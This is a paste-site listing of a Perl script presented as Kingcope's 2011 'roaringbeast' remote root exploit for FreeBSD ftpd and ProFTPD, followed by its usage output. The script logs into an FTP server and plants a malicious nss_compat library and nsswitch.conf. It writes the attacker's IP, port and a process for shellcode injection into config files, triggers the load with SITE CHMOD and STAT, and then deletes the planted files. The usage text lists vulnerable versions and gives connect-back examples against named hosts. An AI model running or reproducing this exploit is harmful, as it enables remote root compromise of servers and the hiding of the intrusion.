fork download
  1. #FreeBSD ftpd and ProFTPD Remote Root Exploit
  2. #By Kingcope
  3. #Year 2011
  4. #the "roaringbeast" exploit
  5.  
  6. use Net::FTP;
  7.  
  8. sub usage {
  9. print "FreeBSD ftpd and ProFTPD Remote Root Exploit\nBy Kingcope\nYear 2011\nthe \"roaringbeast\" exploit\n\n";
  10. print "usage: perl roaringbeast.pl <target_version> <username> <password> <your_ip> <your_port> <freebsdftpd/proftpd> <process to inject> <target>\n";
  11. print "<<TARGETS>>\n0 FreeBSD-8.2,8.1,7.2,7.1 i386\n";
  12. print "1 FreeBSD-6.3 i386\n";
  13. print "2 FreeBSD-5.5,5.2 i386\n";
  14. print "3 FreeBSD-8.2 amd64\n";
  15. print "4 FreeBSD-7.3, 7.0 amd64\n";
  16. print "5 FreeBSD-6.4, 6.2 amd64\n";
  17. print "Process to inject shellcode can be:\n";
  18. print "inetd : good candidate for FreeBSD ftpd - dont use for amd64 targets (!)\n";
  19. print "syslogd : good candidate for ProFTPD\n";
  20. print "cron : good candidate for ProFTPD\n";
  21. print "sendmail : candidate for ProFTPD\n";
  22. print "be carefule: the process will crash after exploitation.\n";
  23. print "yourip not needed for amd64 targets, expl will spawn a root shell on port yourport\n\n";
  24. print "examples:\n";
  25. print "perl roaringbeast.pl 1 holy grail 222.222.222.222 443 freebsdftpd inetd ftp.freebsd.org\n";
  26. print "perl roaringbeast.pl 1 holy grail 222.222.222.222 443 proftpd syslogd ftp.proftpd.org\n";
  27. print "amd64: perl roaringbeast.pl 2 holy grail any 31337 proftpd syslogd ftp.proftpd.org\n";
  28. }
  29.  
  30. if ($#ARGV != 7) {
  31. usage;
  32. }
  33.  
  34. $ver = $ARGV[0];
  35. $user = $ARGV[1];
  36. $pass = $ARGV[2];
  37. $ip = $ARGV[3];
  38. $port = $ARGV[4];
  39. $tgt = $ARGV[5];
  40. $inject = $ARGV[6];
  41. $target = $ARGV[7];
  42.  
  43. $|=1;
  44. if ($tgt ne "freebsdftpd" and $tgt ne "proftpd") {
  45. print "Please specify 'freebsdftpd' or 'proftpd' as 6th argumen.\n";
  46. }
  47.  
  48. if ($tgt eq "freebsdftpd") {
  49. $tgt = "f";
  50. }
  51.  
  52. if ($tgt eq "proftpd") {
  53. $tgt = "p";
  54. }
  55.  
  56. $beast="";
  57.  
  58. $amd64 = false;
  59.  
  60. if ($ver eq "0") {
  61. $beast = "beast.so.1.0_FreeBSD8";
  62. }
  63.  
  64. if ($ver eq "1") {
  65. $beast = "beast.so.1.0_FreeBSD6";
  66. }
  67.  
  68. if ($ver eq "2") {
  69. $beast = "beast.so.1.0_FreeBSD5";
  70. }
  71.  
  72. if ($ver eq "3") {
  73. $beast = "beast.so.1.0_FreeBSD8,amd64";
  74. $amd64 = true;
  75. }
  76.  
  77. if ($ver eq "4") {
  78. $beast = "beast.so.1.0_FreeBSD7,amd64";
  79. $amd64 = true;
  80. }
  81.  
  82. if ($ver eq "5") {
  83. $beast = "beast.so.1.0_FreeBSD6,amd64";
  84. $amd64 = true;
  85. }
  86.  
  87.  
  88. if ($beast eq "") {
  89. print "Specify a target.\n";
  90. exit;
  91. }
  92.  
  93. print "Connecting to target ftp $target ...\n";
  94. $ftp = Net::FTP->new($target, Debug => 0)
  95. or die "Cannot connect to $target: $@";
  96.  
  97. print "Logging into target ftp $target ...\n";
  98. $ftp->login($user,$pass)
  99. or die "Cannot login ", $ftp->message;
  100.  
  101. print "Making /etc and /lib directories ...\n";
  102.  
  103. $ftp->rmdir("etc");
  104. $ftp->rmdir("lib");
  105. $ftp->mkdir("etc") or die "Cannot make directory ", $ftp->message;
  106. $ftp->mkdir("lib") or die "Cannot make directory ", $ftp->message;
  107.  
  108. print "Putting nsswitch.conf and beast.so.1.0\n";
  109. $ftp->binary();
  110. $ftp->put($beast, "lib/nss_compat.so.1") or die "Cannot put file into lib/", $ftp->message;
  111. $ftp->put("nsswitch.conf", "etc/nsswitch.conf") or die "Cannot put file into etc/", $ftp->message;
  112.  
  113. print "Putting configuration files\n";
  114. open FILE, ">rbc.conf";
  115. print FILE $ip;
  116. close FILE;
  117. open FILE, ">rbp.conf";
  118. print FILE $port;
  119. close FILE;
  120. open FILE, ">inj.conf";
  121. print FILE $inject;
  122. close FILE;
  123. open FILE, ">tgt.conf";
  124. print FILE $tgt;
  125. close FILE;
  126.  
  127. $ftp->put("rbc.conf", "etc/rbc.conf") or die "Cannot put conf file into etc/", $ftp->message;
  128. $ftp->put("rbp.conf", "etc/rbp.conf") or die "Cannot put conf file into etc/", $ftp->message;
  129. $ftp->put("inj.conf", "etc/trace.conf") or die "Cannot put conf file into etc/", $ftp->message;
  130. $ftp->put("tgt.conf", "etc/tgt.conf") or die "Cannot put conf file into etc/", $ftp->message;
  131.  
  132. unlink "rbc.conf";
  133. unlink "rbp.conf";
  134. unlink "inj.conf";
  135. unlink "tgt.conf";
  136.  
  137. print "TRIGGERING !!!\n";
  138. $ftp->quot("SITE CHMOD 777 nonexistant");
  139. $ftp->quot("STAT .");
  140.  
  141. $ftp->quot("QUIT");
  142.  
  143.  
  144. $ftp = Net::FTP->new($target, Debug => 0)
  145. or exit;
  146.  
  147. print "Logging into target ftp $target ...\n";
  148. $ftp->login($user,$pass)
  149. or die "Cannot login to remove files", $ftp->message;
  150.  
  151. print "Removing files\n";
  152. $ftp->delete("etc/rbc.conf");
  153. $ftp->delete("etc/rbp.conf");
  154. $ftp->delete("etc/tgt.conf");
  155. $ftp->delete("etc/inj.conf");
  156. $ftp->delete("etc/trace.conf");
  157. $ftp->delete("etc/nsswitch.conf");
  158. $ftp->rmdir("etc");
  159. $ftp->delete("lib/nss_compat.so.1");
  160. $ftp->rmdir("lib");
  161.  
  162. print "Done.\n";
  163.  
Success #stdin #stdout 0.27s 18056KB
stdin
Standard input is empty
stdout
FreeBSD ftpd and ProFTPD Remote Root Exploit
By Kingcope
Year 2011
the "roaringbeast" exploit

usage: perl roaringbeast.pl <target_version> <username> <password> <your_ip> <your_port> <freebsdftpd/proftpd> <process to inject> <target>
<<TARGETS>>
0 FreeBSD-8.2,8.1,7.2,7.1 i386
1 FreeBSD-6.3 i386
2 FreeBSD-5.5,5.2 i386
3 FreeBSD-8.2 amd64
4 FreeBSD-7.3, 7.0 amd64
5 FreeBSD-6.4, 6.2 amd64
Process to inject shellcode can be:
inetd : good candidate for FreeBSD ftpd - dont use for amd64 targets (!)
syslogd : good candidate for ProFTPD
cron : good candidate for ProFTPD
sendmail : candidate for ProFTPD
be carefule: the process will crash after exploitation.
yourip not needed for amd64 targets, expl will spawn a root shell on port yourport

examples:
perl roaringbeast.pl 1 holy grail 222.222.222.222 443 freebsdftpd inetd ftp.freebsd.org
perl roaringbeast.pl 1 holy grail 222.222.222.222 443 proftpd syslogd ftp.proftpd.org
amd64: perl roaringbeast.pl 2 holy grail any 31337 proftpd syslogd ftp.proftpd.org